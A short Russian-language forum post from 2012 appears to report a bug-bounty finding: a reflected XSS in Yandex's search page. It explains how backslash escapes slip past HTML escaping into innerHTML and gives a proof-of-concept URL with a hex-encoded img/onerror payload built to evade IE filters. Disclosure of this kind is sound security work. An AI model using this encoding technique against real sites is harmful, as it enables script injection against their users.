Тема: YandexBugBounty
Показать сообщение отдельно
Старый 30.12.2012, 19:16   #6
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

XSS
Приз: 10к рублей

XSS на www.yandex.ru в строке поиска.
Данные из GET переменной "text" попадают в javascript переменную "title", после чего вызывается следующий код:
Код:
var title = "[user_input] — Яндекс: ничего не найдено"
el = document.createElement("i");
el.innerHTML = title;
document.title = el.firstChild.nodeValue;
В переменной text символы <>'" проходят функцию типа htmlspecialchars, но символ \ попадает в javascript в чистом виде.
Таким образом можно сформировать html теги в переменной title используя кодирование символов \xAA или \u00AA, которые в дальнейшем попадут в el.innerHTML и отработают.

Эксплуатация:
Код:
http://yandex.ru/yandsearch?text=\x3cimg+src=x+\x6f\x6eerror=alert(1)\x3e&lr=51
onerror закодирован для обхода фильтров IE.

Ну и конечно без пафосной картинки тут никак не обойтись.

Последний раз редактировалось BlackFan; 30.12.2012 в 19:19..
BlackFan вне форума   Ответить с цитированием